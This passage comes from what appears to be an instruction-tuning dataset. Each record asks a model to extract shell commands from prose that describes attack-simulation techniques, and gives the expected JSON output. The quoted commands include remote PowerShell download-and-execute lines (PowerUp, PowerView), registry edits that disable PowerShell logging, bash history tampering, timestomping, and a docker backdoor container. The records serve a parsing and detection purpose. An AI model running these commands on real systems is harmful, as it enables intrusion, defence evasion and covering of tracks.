Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For simulating lateral movement over a UNC path while executing an HTA application, run this command: Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}; The 2021 Threat Detection Report by Red Canary shows how to leverage Mshta for PowerShell execution with this command: mshta.exe \"about:\"'", "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}\", \"mshta.exe \\\"about:'\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n On MacOS systems, you can stomp a file's modification date with this command: SetFile -m #{target_date} #{target_filename}\n; Altering timestamps to complicate forensic analysis requires running this PowerShell script: \ntry{ \n Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\n Add-Content \"$env:APPDATA\\\\slipDays.bak\" #{days_to_modify}\n}\ncatch {exit 1}\n", "output": "{\"command_list\": [\"SetFile -m #{target_date} #{target_filename}\\n\", \"try{ \\n Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\\n Add-Content \\\"$env:APPDATA\\\\slipDays.bak\\\" #{days_to_modify}\\n}\\ncatch {exit 1}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify domain groups using PowerView, run the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose; The ldifde utility can output directory objects to a file with this command: ldifde.exe -f #{output_path}\\#{output_file} -p subtree", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose\\n\", \"ldifde.exe -f #{output_path}\\\\#{output_file} -p subtree\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For Windows systems, geolocation information can be fetched from IP-Lookup services with the command: curl -k #{ip_lookup_url}; Demonstrate the ability to modify the authorized_keys file for persistence with the command: if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;", "output": "{\"command_list\": [\"curl -k #{ip_lookup_url}\\n\", \"if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \\\"$ssh_authorized_keys\\\" > ~/.ssh/authorized_keys; fi;\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To demonstrate Bash history manipulation techniques, we perform several actions including HISTCONTROL modification and command execution using the following multi-step command:\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi; For testing HISTFILESIZE manipulation while maintaining the session, run this multi-step command: TEST=$(echo $HISTFILESIZE)\necho $HISTFILESIZE\nexport HISTFILESIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \"\\$HISTFILESIZE is zero\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\"; fi", "output": "{\"command_list\": [\"TEST=$(echo $HISTCONTROL)\\nif [ \\\"$HISTCONTROL\\\" != \\\"ignoreboth\\\" ]; then export HISTCONTROL=\\\"ignoreboth\\\"; fi\\nhistory -c \\nls -la $HISTFILE # \\\" ls -la $HISTFILE\\\"\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls -la is not in history cache\\\"; fi\\nif [ \\\"$HISTCONTROL\\\" != \\\"erasedups\\\" ]; then export HISTCONTROL=\\\"erasedups\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la $HISTFILE\\nls -la $HISTFILE\\nif [ $(history |wc -l) -eq 2 ]; then echo \\\"Their is only one entry for ls -la $HISTFILE\\\"; fi\\n\", \"TEST=$(echo $HISTFILESIZE)\\necho $HISTFILESIZE\\nexport HISTFILESIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \\\"\\\\$HISTFILESIZE is zero\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\\\"; fi\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can adjust the registry settings for the current user to hide compress color and tips by executing this command via cmd: reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f; To disable PowerShell Module Logging, Script Block Logging, Transcription, and Script Execution for the current user, run the following commands in the cmd console: reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /f >nul 2>&1", "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f\\n\", \"reg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\\nreg delete HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /f >nul 2>&1\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using Docker's exec command, attackers who have permissions can run malicious code in containers. A common technique involves creating a backdoor container from a legitimate image and executing commands remotely, as shown in this example: docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"; For persistence through screensaver execution, follow these steps using the following command sequence: reg export \"HKEY_CURRENT_USER\\Control 